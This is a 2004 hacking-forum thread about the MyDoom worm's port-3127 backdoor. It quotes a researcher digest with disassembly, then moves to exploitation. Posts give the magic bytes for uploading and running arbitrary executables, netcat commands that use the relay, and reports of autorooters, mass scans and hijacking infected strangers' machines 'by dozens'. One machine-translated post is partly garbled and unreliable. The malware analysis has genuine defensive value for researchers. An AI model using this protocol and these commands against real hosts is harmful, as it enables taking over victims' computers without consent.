Remote Access Component The worm (this functionality is in the dropped DLL) opens a connection on TCP port 3127 (if that fails it opens next available port up to port 3198). The worm can accept specially crafted TCP transmissions.
On receipt of one kind of such a transmission it will save the embedded binary into a temporary file and execute it. Then the temporary file is deleted. On receipt of another kind it can relay TCP packets thus providing IP spoofing capabilities (possibly to facilitate SPAM distribution)
/quote
As far as i could find, it acts as a socks4 without pass, but this is quite useless. As for the The worm can accept specially crafted TCP transmissions. ... On receipt of one kind of such a transmission it will save the embedded binary into a temporary file and execute it does anyone know anything else about this ?
pita
Jan 28 2004, 08:51 PM
its a little off topic but i dont want to open a new thread on this subject, just to say that eeye have released a scanner for the mydoom worm
I was going to start thread about this yersterday but with my 'trail' thingy going on...
Anyway - seems like yet another wormie that uses good ol' vulnerabilities and spreads with crappy email clients.
I have a dream. Someday, may be, just may be, everybody will upgrade to (filtered) new versions and there wouldn't be millions of computers compromised because they're too damn stupid to buy new hardware and software to match that.
Tarantula[X]
Jan 29 2004, 02:35 AM
Does any one know what the worm is coded in...
SyN/AcK
Jan 29 2004, 03:27 AM
Having a SOCKS4 server is hardly useless! While not quite as nice as having a shell bound, you can act as a trusted machine in a network environment making this worm much more hurtful to business environments.
phaeton
Jan 29 2004, 04:11 AM
Plus, this worm doesn't spread itself through vulns, its just an email attachment worm, so its the dumb people who open it (IE ITS NOT BLASTER).
Wolfman
Jan 29 2004, 04:22 AM
Update
QUOTE
Digest of parts of messages from the Trojan Horses Research Mailing List regarding the new mass mailer worm ---------------------------------- 27th of January, 2004 ------------------------------------------------------------------------ http://ecompute.org/th-list ========================================================================
Preface -------
This text comes to supplement different Anti Virus vendors web pages with more information on the analyzes of the new worm that hit yesterday. It was called different names by different AV companies which caused a lot of confusion, but was to be expected with a new fast-spreading worm in the wild.
Our purpose in releasing this digest of email messages is to help the community of sysadmins and security researchers combat this worm.
NOTE (1): This is a compiled digest of information, it is served as-is. I didn't really have the time to invest in editing it and making it look good, formatted or organized. I hope you find it helpful. NOTE (2): All the below information and messages are forwarded from TH-Research with the permission of the original authors and the list manager as dictated by the list's FAQ. I guess we can call this "declassification". ) NOTE (3): Thanks go to Daniel Otis Vigil from MooSoft Development (www.moosoft.com) for sharing the sample with the mailing list first. NOTE (4): Thanks are also due to the different members of TH-Research who helped with this new threat on the list and in our live joint "war room". There are many who are not quoted below.
What is this mass-mailer worm? ------------------------------ This worm arrives in your Inbox as an attachment. The subject of the email changes, and the body contains one of the following lines: - "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment." - "The message contains Unicode characters and has been sent as a binary attachment." - "Mail transaction failed. Partial message is available."
The attachment can be one of a few file types: EXE, PIF, CMD, SCR and very often as a ZIP archive.
This worm is supposed to perform a DoS attack against www.sco.com and acts as a backdoor, listening on port 3127.
The worm is built of an EXE and a DLL file, and it is packed with UPX.
Spreading ---------
The worm spreads via email and by copying itself to the Kazza shared folder on a victim's machine, if one exists.
The worm is set to die on February 12th, 2004
The spreading speed of this worm was amazing. It hit the Internet hard and it hit it fast.
As reported by MessageLabs: ----- Currently we estimate we will hit 1,000,000/day, which is Sobig.F levels. Interesting that there was a 6 hour gap after we stopped our 1st copies. Perhaps these were seeds (haven't checked yet)
I might be wrong, but i didn't look more than a couple seconds. -----
The DLL as analyzed by Rolf Rolles:
----- A description of the DLL's functonality in MiMail.R:
Listens on port 3127; accepts a maximum of 3 connections at a time. If the first byte of the recieved data is 0x85, the DLL skips the next byte, then compares the next dword read to 133C9EA2h; if this is true, it accepts the executable from the sender, downloads it to a temp file/directory and runs it.
If the first byte of the recieved data is 4, we check for the following pattern: [0x4 0x1 PORT] [host address]. If host address doesn't "look good" then the address to resolve is passed as a string afterwards. "[" is sent when the port fowarding code gets an error; "Z" is sent if everything goes smoothly. -----
Slight correction/clarification:
In the second paragraph, the second mention of 0x4 is distinct, ie the traffic looks like 0x4 |0x4 0x1 [port] [hostip]|.
Also, when I said the DLL sends back a 'Z' or a '[' on fail/success respectively, this is actually inserted in the position of the 0x1 character and sends back the eight bytes indicated between the pipes above.
Sorry for the confusion, Rolf -----
Some code snippets from Nicolas Brulez:
----- Here a few informations i gathered from the binary. no serious analysis at all. Just to have a "look and feel" :
With the script, it takes no times to completely decode the entire.
See below:
.text:004A25C0 aVagreargtrgpba db 'InternetGetConnectedState',0 ; DATA XREF: sub_4A4681+44 o .text:004A25DA align 4 .text:004A25DC aJvavarg_qyy db 'wininet.dll',0 ; DATA XREF: sub_4A4681+A o .text:004A25E8 aAhxr2004 db 'nuke2004',0 ; DATA XREF: .text:004A11A8 o .text:004A25F1 align 4 .text:004A25F4 aBssvpr_penpx db 'office_crack',0 ; DATA XREF: .text:004A11A4 o .text:004A2601 align 4 .text:004A2604 aEbbgxvgkc db 'rootkitXP',0 ; DATA XREF: .text:004A11A0 o .text:004A260E align 4 .text:004A2610 aFgevcTvey2_0oq db 'strip-girl-2.0bdcom_patches',0 .text:004A2610 ; DATA XREF: .text:004A119C o .text:004A262C aNpgvingvba_pen db 'activation_crack',0 ; DATA XREF: .text:004A1198 o .text:004A263D align 4 .text:004A2640 aVpd2004Svany db 'icq2004-final',0 ; DATA XREF: .text:004A1194 o .text:004A264E align 4 .text:004A2650 aJvanzc5 db 'winamp5',0
Prolly used for random mail generations. that will be used in the From field.
The possible messages:
.text:004A348C aMailTransactio db 'Mail transaction failed. Partial message is available.',0 .text:004A348C ; DATA XREF: sub_4A7255+42 o .text:004A34C3 align 8 .text:004A34C8 aTheMessageCont db 'The message contains Unicode characters and has been sent as' .text:004A34C8 ; DATA XREF: sub_4A7255+38 o .text:004A34C8 db ' a binary attachment.',0 .text:004A351A align 8 .text:004A3520 aTheMessageCann db 'The message cannot be represented in 7-bit ASCII encoding an' .text:004A3520 ; DATA XREF: sub_4A7255+2E o .text:004A3520 db 'd has been sent as a binary attachment.',0
Now about the headers which were encoded too:
.text:004A35DC aKZfznvyCevbevg db 0Dh,0Ah ; DATA XREF: sub_4A74DD+100 o .text:004A35DC db 'X-MSMail-Priority: Normal',0 .text:004A35F8 aKCevbevgl3 db 0Dh,0Ah ; DATA XREF: sub_4A74DD+EE o .text:004A35F8 db 'X-Priority: 3',0 .text:004A3608 aBoundaryS db 9,'boundary="%s"',0 ; DATA XREF: sub_4A74DD+E0 o .text:004A3617 align 4 .text:004A3618 aPbagragGlcrZhy db 0Dh,0Ah ; DATA XREF: sub_4A74DD+CC o .text:004A3618 db 'Content-Type: multipart/mixed;',0Dh,0Ah,0 .text:004A363B align 4 .text:004A363C aZvzrIrefvba1_0 db 0Dh,0Ah ; DATA XREF: sub_4A74DD+BA o .text:004A363C db 'MIME-Version: 1.0',0 .text:004A3650 aQngr db 0Dh,0Ah ; DATA XREF: sub_4A74DD+99 o .text:004A3650 db 'Date: ',0 .text:004A3659 align 4 .text:004A365C aFhowrpg db 0Dh,0Ah ; DATA XREF: sub_4A74DD+7D o .text:004A365C db 'Subject: ',0 .text:004A3668 aGb db 0Dh,0Ah ; DATA XREF: sub_4A74DD+66 o .text:004A3668 db 'To: ',0 .text:004A366F align 4 .text:004A3670 aSebz db 'From: ',0 ; DATA XREF: sub_4A74DD+45 o .text:004A3677 align 4 .text:004A3678 ; u__::a_S(u__8,long long) .text:004A3678 a_S__3u__4u__8x db '----=_%s_%.3u_%.4u_%.8X.%.8X',0 .text:004A3678 ; DATA XREF: sub_4A74DD+39 o .text:004A3695 align 4 .text:004A3698 aNextpart db 'NextPart',0 ; DATA XREF: sub_4A74DD+34 o .text:004A36A1 align 4 .text:004A36A4 aS db 0Dh,0Ah ; DATA XREF: sub_4A75FD+C0 o .text:004A36A4 db 0Dh,0Ah .text:004A36A4 db '--%s--',0Dh,0Ah .text:004A36A4 db 0Dh,0Ah,0 .text:004A36B3 align 8 .text:004A36B8 aFPbagragGlcrNc db '--%s',0Dh,0Ah ; DATA XREF: sub_4A75FD+76 o .text:004A36B8 db 'Content-Type: application/octet-stream;',0Dh,0Ah .text:004A36B8 db 9,'name="%s"',0Dh,0Ah .text:004A36B8 db 'Content-Transfer-Encoding: base64',0Dh,0Ah .text:004A36B8 db 'Content-Disposition: attachment;',0Dh,0Ah .text:004A36B8 db 9,'filename="%s"',0Dh,0Ah text:004A3758 aFPbagragGlcrGr db '--%s',0Dh,0Ah ; DATA XREF: sub_4A75FD+31 o .text:004A3758 db 'Content-Type: text/plain;',0Dh,0Ah .text:004A3758 db 9,'charset="Windows-1252"',0Dh,0Ah .text:004A3758 db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah .text:004A3758 db 0Dh,0Ah,0 .text:004A37B6 align 4 .text:004A37B8 aGuvfVfNZhygvCn db 'This is a multi-part message in MIME format.',0Dh,0Ah .text:004A37B8 ; DATA XREF: sub_4A75FD+1B o .text:004A37B8 db 0Dh,0Ah,0 .text:004A37E9 align 4 .text:004A37EC aQuit db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+286 o .text:004A37F3 align 4 .text:004A37F4 a__0 db 0Dh,0Ah ; DATA XREF: sub_4A7B47+25F o .text:004A37F4 db '.',0Dh,0Ah,0
SMTP related:
.text:004A37FC aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1D9 o .text:004A3803 align 4 .text:004A3804 aEpcgGbF db 'RCPT TO:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1A3 o .text:004A3813 align 4 .text:004A3814 aZnvySebzF db 'MAIL FROM:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+167 o .text:004A3825 align 4 .text:004A3828 aUrybF db 'HELO %s',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+12B o .text:004A3832 align 4 .text:004A3834 aRuybF db 'EHLO %s',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+F2 o .text:004A383E align 4
It also grab the SMTP server (strings were encoded):
Nothing that isn't known by now though. I will do a complete analysis when time is on my side. -----
-----
Nicolas Brulez in reply to a message from a member I couldn't reach, to get his approval for forwarding his information and name. The email was about body text of the worm email messages as captured on his network:
You see some variations in the Case because , the worm seems to use uppercase at times. Here is a code snipet:
.text:004A6ED6 sub_4A6ED6 proc near ; CODE XREF: sub_4A76D2+60p .text:004A6ED6 push ebx .text:004A6ED7 push esi .text:004A6ED8 mov ebx, eax .text:004A6EDA call PRNG snip... some more Pseudo random number stuffs
.text:004A6F39 .text:004A6F39 loc_4A6F39: ; CODE XREF: sub_4A6ED6+6Fj .text:004A6F39 movsx eax, al .text:004A6F3C add ecx, 8 .text:004A6F3F add esi, eax .text:004A6F41 mov al, [ecx] .text:004A6F43 test al, al .text:004A6F45 jnz short loc_4A6F39 .text:004A6F47 call PRNG .text:004A6F4C movzx eax, ax .text:004A6F4F cdq .text:004A6F50 idiv esi .text:004A6F52 xor esi, esi .text:004A6F54 xor eax, eax .text:004A6F56 inc esi .text:004A6F57 mov cl, 0Ch .text:004A6F59 .text:004A6F59 loc_4A6F59: ; CODE XREF: sub_4A6ED6+96j .text:004A6F59 movsx ecx, cl .text:004A6F5C add esi, ecx .text:004A6F5E cmp esi, edx .text:004A6F60 jge short loc_4A6F6E .text:004A6F62 mov cl, byte ptr ds:subjects[eax*8] ; Selection of the subject? .text:004A6F69 inc eax .text:004A6F6A test cl, cl .text:004A6F6C jnz short loc_4A6F59 .text:004A6F6E .text:004A6F6E loc_4A6F6E: ; CODE XREF: sub_4A6ED6+8Aj .text:004A6F6E cmp ds:byte_4A3328[eax*8], 0 .text:004A6F76 jnz short loc_4A6F7A .text:004A6F78 xor eax, eax .text:004A6F7A
.text:004A348C aMailTransactio db 'Mail transaction failed. Partial message is available.',0 .text:004A348C ; DATA XREF: sub_4A7255+42o .text:004A34C3 align 8 .text:004A34C8 aTheMessageCont db 'The message contains Unicode characters and has been sent as' .text:004A34C8 ; DATA XREF: sub_4A7255+38o .text:004A34C8 db ' a binary attachment.',0 .text:004A351A align 8 .text:004A3520 aTheMessageCann db 'The message cannot be represented in 7-bit ASCII encoding an' .text:004A3520 ; DATA XREF: sub_4A7255+2Eo .text:004A3520 db 'd has been sent as a binary attachment.',0 .text:004A3584 aTest db 'test',0 ; DATA XREF: sub_4A7255+24o
I missed the test one. This comes from this piece of code:
D'Aloisio Marc observed some things about the DoS attack, and raised some preliminary questions:
----- Has anyone seen the DOS against SCO actually happen?
I have the new critter in a test environment where we conducted a preliminary and rudimentary functionality and threat analysis and the only activity I can get it to perform related to www.sco.com is to resolve the name. In fact, it seems very unhappy if it cannot resolve www.sco.com. Once it can, it happily scans local files for anything that can be construed (very loosely) as a domain and tries to resolve mail servers based on these. In fact, right now it's trying to resolve 'mx.makewin.rsp'. "Makewin.rsp' is a file referenced in the help files of my DigitalMars C++ compiler on a test machine, so it's not a very smart worm. The worm also seems to like to increment the third octet of the host IP by one and syn to port 25 of that address over and over and over... I have played with the date, etc, but still no activity directed toward www.sco.com. It did die after 12 February, but gladly resurrected when the date was set back prior to that.
I haven't had time to go through a code analysis - that will come later as time permits. -----
----- Gadi Evron - ge@warp.mx.dk.
Listens on port 3127; accepts a maximum of 3 connections at a time. If the first byte of the recieved data is 0x85, the DLL skips the next byte, then compares the next dword read to 133C9EA2h; if this is true, it accepts the executable from the sender, downloads it to a temp file/directory and runs it.
If the first byte of the recieved data is 4, we check for the following pattern: [0x4 0x1 PORT] [host address]. If host address doesn't "look good" then the address to resolve is passed as a string afterwards. "[" is sent when the port fowarding code gets an error; "Z" is sent if everything goes smoothly. -----
Slight correction/clarification:
In the second paragraph, the second mention of 0x4 is distinct, ie the traffic looks like 0x4 |0x4 0x1 [port] [hostip]|.
Also, when I said the DLL sends back a 'Z' or a '[' on fail/success respectively, this is actually inserted in the position of the 0x1 character and sends back the eight bytes indicated between the pipes above.
Can anyone make something with this info ?
clubfed
Jan 29 2004, 04:56 AM
i wrote an uploader when i read this earlier today, it's really easy guys... the hard part is finding any of these. this is a bullsh1t worm. i scanned several class b and there were only a few infected (i just did this to test my uploader).
hdlgp
Jan 29 2004, 08:57 AM
New tool for hack mydoom at port 3127 executing and upload an .exe file
Copkill
Jan 29 2004, 12:49 PM
yeah ,that would be cool
nolimit
Jan 29 2004, 07:06 PM
QUOTE (clubfed @ Jan 29 2004, 04:56 AM)
i wrote an uploader when i read this earlier today, it's really easy guys... the hard part is finding any of these. this is a bullsh1t worm. i scanned several class b and there were only a few infected (i just did this to test my uploader).
Can you describe the method you used to construct the initial header and file stream, Kinda wanna code one of these for the hell of it, but don't know the protocol the worm uses.
niko
Jan 29 2004, 08:33 PM
clubfed: why don't you just ask ppl for their email headers, or look thru ur bulk folder in a free email account and look at the headers, the worm sends right from a victims computer right? So their IP is right there, you can then scan more efficiently...
-niko
Iced_Eagle
Jan 30 2004, 04:57 AM
yea it says that "This file contains Unix Characters and must be opened directly" or something similar and pple click and virus activated..
Stoney
Feb 1 2004, 01:24 PM
ok the ultimate fix for exploits. sence there is so many dumb asses that dont patch there systems why doesnt big companys like microsoft write worms that spread threw the exploit and patch the systems.
Wolfman
Feb 2 2004, 12:14 AM
hdlgp and clubfed, could you guys share your code with the rest of us so we could try them ?
Demoman
Feb 5 2004, 04:37 PM
I have read about a private exploit. Does it really exist?
x1`
Feb 5 2004, 04:43 PM
i hear its real but i havent seen the exploit anywhere
TheAngel
Feb 5 2004, 05:39 PM
yeah i heared about the exploit too
Eltharion
Feb 5 2004, 06:08 PM
Yeah, exploit exists...the one i know of is named sl.exe and is run with following parraments from a scanstro
site exec sl -bhpt 3127 -f inputfile.txt -o outputfile.txt
Milka
Feb 5 2004, 06:11 PM
yeah there are a few private exploits on the loose, it's in fact pretty simple to make, and there are a lot of servers infected
Demoman
Feb 5 2004, 06:27 PM
For people who have coding expirience, it mighty be easy *fg*. Let's wait till a privat exploit is public
=k3Rn=
Feb 5 2004, 08:06 PM
QUOTE
yeah there are a few private exploits on the loose, it's in fact pretty simple to make, and there are a lot of servers infected
Hm - i'd like to have to have a look at those exploits. Do you got a source where to get em? Or could someone post some more background informations on how to exploit / use those open ports?
Milka
Feb 5 2004, 08:16 PM
nop sorry I haven't got the source, and when I would have it, I would give it out when it's not private anymore so just wait... btw most EU UNI servers are allready exploited and secured
ch0pper
Feb 5 2004, 08:49 PM
The Mydoom.a back door is by the dll form existence, through the revision registration table corresponding key value, increase own to the resource management advancement space in.
In the normal condition, the registration table should be this appearance: HKEY_CLASSES_ROOTCLSID {E6FB5E20-DE35-11CF-9C87-00AA005127ED} InProcServer32 <NO NAME> REG_EXPAND_SZ %SystemRoot%System32webcheck.dll ThreadingModel REG_SZ Apartment
But Mydoom.a this place %SystemRoot%System32webcheck.dll for will change into own shimgapi.dll.
Tacitly approves in the situation, the shimgapi.dll back door monitors 3,127 ports, if this port is taken, then increases progressively, but is not bigger than 3198.
This back door has provided two functions: 1st, retransmits the proxy as the port 2nd, takes the back door, in the receive procedure passes on and the execution
Related code: Text:7E1A1C44 sub_7E1A1C44 proc near; DATA XREF: Start+19o Text:7E1A1C44 Text:7E1A1C44 WSAData = WSAData ptr -190h Text:7E1A1C44 Text:7E1A1C44 sub esp, 190h Text:7E1A1C4A push esi Text:7E1A1C4B push edi Text:7E1A1C4C call sub_7E1A1A1F Text:7E1A1C51 lea eax, [ esp+198h+WSAData ] Text:7E1A1C55 push eax; LpWSAData Text:7E1A1C56 push 2; WVersionRequested Text:7E1A1C58 call ds:WSAStartup Text:7E1A1C5E call Address Text:7E1A1C63 mov edi, ds:Sleep Text:7E1A1C69 mov esi, 0C37h; Monitors 3,127 ports Text:7E1A1C6E Text:7E1A1C6E loc_7E1A1C6E: ; CODE XREF: Sub_7E1A1C44+50j Text:7E1A1C6E push 3 Text:7E1A1C70 push esi Text:7E1A1C71 call sub_7E1A1B52; Bind subroutine Text:7E1A1C76 pop ecx Text:7E1A1C77 pop ecx Text:7E1A1C78 push 400h; DwMilliseconds Text:7E1A1C7D call edi; Sleep Text:7E1A1C7F cmp esi, 0C7Eh; The port is not bigger than 3198 Text:7E1A1C85 jle short loc_7E1A1C93 Text:7E1A1C87 push 800h; DwMilliseconds Text:7E1A1C8C call edi; Sleep Text:7E1A1C8E mov esi, 0C37h Text:7E1A1C93 Text:7E1A1C93 loc_7E1A1C93: ; CODE XREF: Sub_7E1A1C44+41j Text:7E1A1C93 inc esi; If after the port is bigger than 3,198 pieces to reduce 1 again bind Text:7E1A1C94 jmp short loc_7E1A1C6E Text:7E1A1C94 sub_7E1A1C44 endp
After 3,127 ports receive the connection, if the recv first character is x04, changes over to the port to retransmit flow --> to judge the second character whether is 0x01 --> takes the 5~8 four characters to take 3, 42 characters as goal IP address --> carries on the connection as goal port --> and retransmits with the current socket data
For example, we to x00x6exc0xa8x01x0b took the bridging order, among, x00x6e is 110 ports, xc0xa8x01x0b is 192.168.1.11.
# printf x04x01x00x6exc0xa8x01x0bx00 | nc 192.168.7.333127 Z includes +OK Microsoft Exchange Server 2,003 POP3 server version 6.5.6944.0 ready.
May see, sent out 192.168.1.11 110 ports the conversations to return. Please note in front of the character which returned has also contained section of data. Again makes the test:
# printf x04x01x00x6exc0xa8x01x0bx00 | nc 192.168.7.333127 | xxd -g 1 0000000: 04 5a 00 6e c0 a8 01 0b 2b 4f 4b 20 4d 696,372 Z.n.... +OK Micr 0000010: 6f 73 6f 6674204578636861 6e 67.652053 million osoft Exchange S 0000020: 657276657220323030332050 4f 503,320 erver 2,003 POP3 0000030: 736572766572207665727369 6f 6e 2,036 server version 6 0000040: 2E 35 2e 36.393434 million 2e 3.020286463 billion 2e 69 6e 5.6944.0
The attempt transmission instruction connection does not exist 98 ports: # printf x04x01x00x62xc0xa8x01x0bx00 | nc 192.168.7.333127 | xxd -g 1 0000000: 04 5b 0,062 c0 a8 01 0b. [ b....
Very obviously, that section of data express the connection condition. 04 5a expression connects successfully, 04 5b expression connection defeat. Behind was transmits the past the bridging order. This characteristic possibly is the worm author for facilitate own customer end judgement to design.
Related code: Text:7E1A17F5 Text:7E1A17F5 loc_7E1A17F5: ; CODE XREF: Sub_7E1A17BA+2Bj Text:7E1A17F5 cmp byte ptr [ ebp-1 ], 4; Compared with the first character is not 0x04 Text:7E1A17F9 push ebx Text:7E1A17FA jnz loc_7E1A18B7; The first character is not 0x04 changes over to the withdrawal Text:7E1A1800 xor ebx, ebx Text:7E1A1802 Text:7E1A1802 loc_7E1A1802: ; CODE XREF: Sub_7E1A17BA+65j Text:7E1A1802 push 0; Flags Text:7E1A1804 push 8 Text:7E1A1806 pop eax Text:7E1A1807 sub eax, ebx Text:7E1A1809 push eax; Len Text:7E1A180A lea eax, [ ebp+ebx+buf ] Text:7E1A180E push eax; Buf Text:7E1A180F push [ ebp+s ]; S Text:7E1A1812 call esi; Recv Text:7E1A1814 test eax, eax Text:7E1A1816 jl short loc_7E1A1823 Text:7E1A1818 jz short loc_7E1A1825 Text:7E1A181A add ebx, eax Text:7E1A181C cmp ebx, 8; Compared with the character which receives suffices insufficient 8 Text:7E1A181F jl short loc_7E1A1802; Accepts the character number insufficiently continues recv Text:7E1A1821 jmp short loc_7E1A1825 Text:7E1A1823; Which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which? Text:7E1A1823 Text:7E1A1823 loc_7E1A1823: ; CODE XREF: Sub_7E1A17BA+5Cj Text:7E1A1823 mov ebx, eax Text:7E1A1825 Text:7E1A1825 loc_7E1A1825: ; CODE XREF: Sub_7E1A17BA+5Ej Text:7E1A1825; Sub_7E1A17BA+67j Text:7E1A1825 cmp ebx, 8 Text:7E1A1828 jnz loc_7E1A1907 Text:7E1A182E jmp short loc_7E1A1836 Text:7E1A1830; Which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which? Text:7E1A1830 Text:7E1A1830 loc_7E1A1830: ; CODE XREF: Sub_7E1A17BA+8Cj Text:7E1A1830 cmp [ ebp+var_2 ], 0; After 8 characters characters whether are 0x00, in other words has transmitted whether only 8 characters Text:7E1A1834 jz short loc_7E1A184A Text:7E1A1836 Text:7E1A1836 loc_7E1A1836: ; CODE XREF: Sub_7E1A17BA+74j Text:7E1A1836 push 0 Text:7E1A1838 lea eax, [ ebp+var_2 ] Text:7E1A183B push 1 Text:7E1A183D push eax Text:7E1A183E push [ ebp+s ] Text:7E1A1841 call esi Text:7E1A1843 cmp eax, 1 Text:7E1A1846 jz short loc_7E1A1830 Text:7E1A1848 jmp short loc_7E1A18B7 Text:7E1A184A; Which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which? Text:7E1A184A Text:7E1A184A loc_7E1A184A: ; CODE XREF: Sub_7E1A17BA+7Aj Text:7E1A184A cmp [ ebp+buf ], 4; Judges the first character once more whether is 0x04 Text:7E1A184E jnz short loc_7E1A18B7 Text:7E1A1850 cmp byte ptr [ ebp-0Fh ], 1; Judges the second character whether is 0x01, if is, then continues, is not, then withdraws Text:7E1A1854 jnz short loc_7E1A18B7 Text:7E1A1856 cmp [ ebp+hostlong ], 0; At the end of judgement four characters (IP) whether entire 0 Text:7E1A185A jz short loc_7E1A187C Text:7E1A185C push [ ebp+hostlong ]; Hostlong Text:7E1A185F call ds:htonl Text:7E1A1865 test eax, 0FFFFFF00h; Whether inspection input IP is 255.255.255.0 Text:7E1A186A jnz short loc_7E1A187C Text:7E1A186C push [ ebp+s ] Text:7E1A186F lea ebx, [ ebp+hostlong ] Text:7E1A1872 call sub_7E1A1664 Text:7E1A1877 test eax, eax Text:7E1A1879 pop ecx Text:7E1A187A jnz short loc_7E1A18B7 Text:7E1A187C Text:7E1A187C loc_7E1A187C: ; CODE XREF: Sub_7E1A17BA+A0j Text:7E1A187C; Sub_7E1A17BA+B0j Text:7E1A187C mov ax, [ ebp-0Eh ]; Takes the first two characters, takes the port Text:7E1A1880 push 6; Protocol Text:7E1A1882 mov word ptr [ ebp+name.sa_data ], ax Text:7E1A1886 mov eax, [ ebp+hostlong ] Text:7E1A1889 push 1; Type Text:7E1A188B push 2; Af Text:7E1A188D mov [ ebp+name.sa_family ], 2 Text:7E1A1893 mov dword ptr [ ebp+name.sa_data+2 ], eax Text:7E1A1896 call ds:socket Text:7E1A189C cmp eax, 0FFFFFFFFh Text:7E1A189F mov [ ebp+var_8 ], eax Text:7E1A18A2 jz short loc_7E1A18B7 Text:7E1A18A4 lea eax, [ ebp+name ] Text:7E1A18A7 push 10h; Namelen Text:7E1A18A9 push eax; Name Text:7E1A18AA push [ ebp+var_8 ]; S Text:7E1A18AD call ds:connect Text:7E1A18B3 test eax, eax Text:7E1A18B5 jz short loc_7E1A18D2 Text:7E1A18B7 Text:7E1A18B7 loc_7E1A18B7: ; CODE XREF: Sub_7E1A17BA+40j Text:7E1A18B7; Sub_7E1A17BA+8Ej... Text:7E1A18B7 push 0; Flags Text:7E1A18B9 lea eax, [ ebp+buf ] Text:7E1A18BC push 8; Len Text:7E1A18BE push eax; Buf Text:7E1A18BF push [ ebp+s ]; S Text:7E1A18C2 mov [ ebp+buf ], 4 Text:7E1A18C6 mov byte ptr [ ebp-0Fh ], 5Bh; The connection is not successful, returns to 0x5B Text:7E1A18CA call ds:send Text:7E1A18D0 jmp short loc_7E1A18F8 Text:7E1A18D2; Which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which which? Text:7E1A18D2 Text:7E1A18D2 loc_7E1A18D2: ; CODE XREF: Sub_7E1A17BA+FBj Text:7E1A18D2 push 0; Flags Text:7E1A18D4 lea eax, [ ebp+buf ] Text:7E1A18D7 push 8; Len Text:7E1A18D9 push eax; Buf Text:7E1A18DA push [ ebp+s ]; S Text:7E1A18DD mov [ ebp+buf ], 4 Text:7E1A18E1 mov byte ptr [ ebp-0Fh ], 5Ah; Connects successfully, returns to 0x5A Text:7E1A18E5 call ds:send Text:7E1A18EB push [ ebp+var_8 ] Text:7E1A18EE push [ ebp+s ] Text:7E1A18F1 call sub_7E1A16D3 Text:7E1A18F6 pop ecx Text:7E1A18F7 pop ecx
If the recv 1st character is xQQ --> a 2~5 character is xPPxPPxPPxPP --> accepts all data which starts from the sixth character, took the document preservation after temporary folder --> CreateProcess the --> procedure withdrawal, deletes the procedure.
In other words, so long as we wilfully may the execution file forehead, add on five characters: XQQxPPxPPxPPxPP, transmitted as the data to infected the Mydoom.a worm machine 3,127 ports, this document, could carry out on the system. I the system calculator procedure, have added on with UltraEdit this magic-head, transmitted the past with NC, the success carries out.
do u have the exe file for this or the source ? it looks interesting
thegeek
Feb 5 2004, 11:14 PM
I made an autorooter for mydoom one of the first days after it started spreading, it works great for my local vmware machines. However, for some reason I can't seem to find a lot of infected machines on the inet. I scan for 3127, assuming that very few machines already has this port taken, but I can't locate any machines with the port open. Is there really such a huge amount of machines infected out there?
phaeton
Feb 5 2004, 11:34 PM
QUOTE
Tacitly approves in the situation, the shimgapi.dll back door monitors 3,127 ports, if this port is taken, then increases progressively, but is not bigger than 3198.
It doesn't have to be 3127.
Nexcess
Feb 5 2004, 11:50 PM
Doesn't this thing stop spreading on the 12th?
The people keeping it private will piss around and wait until after the 12th when its useless then release it to the public. *sigh* greed is a terrible thing...
SyN/AcK
Feb 6 2004, 12:46 AM
I'd love to get my hands on that private exploit.
terrortbd
Feb 6 2004, 04:52 AM
QUOTE (Eltharion @ Feb 5 2004, 06:08 PM)
Yeah, exploit exists...the one i know of is named sl.exe and is run with following parraments from a scanstro
site exec sl -bhpt 3127 -f inputfile.txt -o outputfile.txt
ermmm dude.. there's no QQ in hex nor PP.. ;x can i see your original source? looks like its translated from chinese/japanese or something.. maybe something went wrong during the translation. also try to use [ code ] [ / code ] (without space)
thegeek
Feb 6 2004, 06:04 PM
dude, you are seriously stupid, the actual hex bytes needed to authenticate to the dll is ofcourse removed.
terrortbd
Feb 7 2004, 04:03 AM
no dude you are look on the first page.. TADAA
i've managemed to "puzzle together" the header with the analysis on the 1st page (posted by Wolfman) and the info on the 2nd page (posted by ch0pper). i added the header to a WinShell .exe and used nc to sent it to the infected host. i connected to the shell and i hacked the box. only succeeded 1 time tho.
Milka
Feb 7 2004, 12:39 PM
QUOTE (thegeek @ Feb 5 2004, 11:14 PM)
I made an autorooter for mydoom one of the first days after it started spreading, it works great for my local vmware machines. However, for some reason I can't seem to find a lot of infected machines on the inet. I scan for 3127, assuming that very few machines already has this port taken, but I can't locate any machines with the port open. Is there really such a huge amount of machines infected out there?
yes there are a lot infected, but the ones that allreday heave port 3127 open will port the backdoor to 3128 but you need other offsets for that one, as I have heard
terrortbd
Feb 7 2004, 02:00 PM
heh hacking them by dozens now lotsa fast ones too :]
thegeek
Feb 7 2004, 06:03 PM
terrortbd : that first advisory does have the bytes, that is correct. However that is not what I said, I said that you were stupid to not understand that QQ and pp were those bytes, only censored. Oh, and I found the error in my autorooter, stupid typo, now it works quite nicely. Oh, and there is almost no point in scanning for port 3128++, since almost no machines already have 3127 taken, and mydoom thus spawns the dll backdoor on port 3127.
MysteryMan
Feb 7 2004, 06:52 PM
QUOTE (Eltharion @ Feb 5 2004, 06:08 PM)
Yeah, exploit exists...the one i know of is named sl.exe and is run with following parraments from a scanstro
site exec sl -bhpt 3127 -f inputfile.txt -o outputfile.txt
scanline is not exploit he only check scan ...
i think scans who have " [[] " is vulnerable ...
and i here there is some appz for windows(some trojan) who can hax that hole
i have one shell with CMD but i can't hax it ...
peace & love
nolimit
Feb 9 2004, 12:47 AM
Yep guys anyone with base knowledge of Hex can put this together, just take the first advisory and the second, use common sense, blam it works.
cye
Feb 14 2004, 03:17 AM
hi!
Can anyone send me doomjoice.b (or any mydoom except for mydoom.a)? I'm not good in asm, but it's just 5000 byte. So i wanna take a look of it disassembled. Send it zipped with password (with the pass in the mail), 'cause the virus own would be filtered by my mail server.
Thx: cye (cziber@ludens.elte.hu)
DvilleStoner
